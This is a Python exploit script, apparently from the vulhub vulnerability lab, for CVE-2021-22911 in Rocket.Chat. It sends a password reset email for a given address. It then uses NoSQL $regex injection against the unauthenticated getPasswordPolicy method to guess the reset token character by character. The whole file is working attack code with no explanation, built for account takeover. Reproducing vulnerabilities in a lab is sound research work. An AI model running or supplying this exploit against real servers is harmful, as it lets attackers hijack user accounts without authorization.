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vulhub/rocketchat/CVE-2021-22911/CVE-2021-22911.py
Aaron 63285f61aa
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first commit
2025-09-06 16:08:15 +08:00

64 lines
1.6 KiB
Python

import sys
import time
import string
import json
import requests
guess = '-_' + string.digits + string.ascii_letters
session = requests.session()
session.headers = {
'Content-Type': 'application/json',
}
def reset_password(target: str, email: str):
payload = {
'msg': 'method',
'method': 'sendForgotPasswordEmail',
'params': [email],
}
session.post(
f'{target}/api/v1/method.callAnon/sendForgotPasswordEmail',
json={'message': json.dumps(payload)},
)
sys.stdout.write("[+] Password Reset Email Sent\n")
sys.stdout.flush()
def inject_token(target: str):
payload = {
'msg': 'method',
'method': 'getPasswordPolicy',
'params': [
{
'token': {'$regex': '^'}
}
],
}
for i in range(43):
current = payload['params'][0]['token']['$regex']
sys.stdout.write(f'[*] Guess No.{i + 1} character: ')
for ch in guess:
payload['params'][0]['token']['$regex'] = current + ch
response = session.post(
f'{target}/api/v1/method.callAnon/getPasswordPolicy',
json={'message': json.dumps(payload)},
)
if b'Meteor.Error' not in response.content:
sys.stdout.write(f"\n[+] Current token is {payload['params'][0]['token']['$regex'][1:]}\n")
sys.stdout.flush()
break
else:
sys.stdout.write('.')
sys.stdout.flush()
time.sleep(1.5)
if __name__ == '__main__':
target = sys.argv[1]
reset_password(target, sys.argv[2])
inject_token(target)